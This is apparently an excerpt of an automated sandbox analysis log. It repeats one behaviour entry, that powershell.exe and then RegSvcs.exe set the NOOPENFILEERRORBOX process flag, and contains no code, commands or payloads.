Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
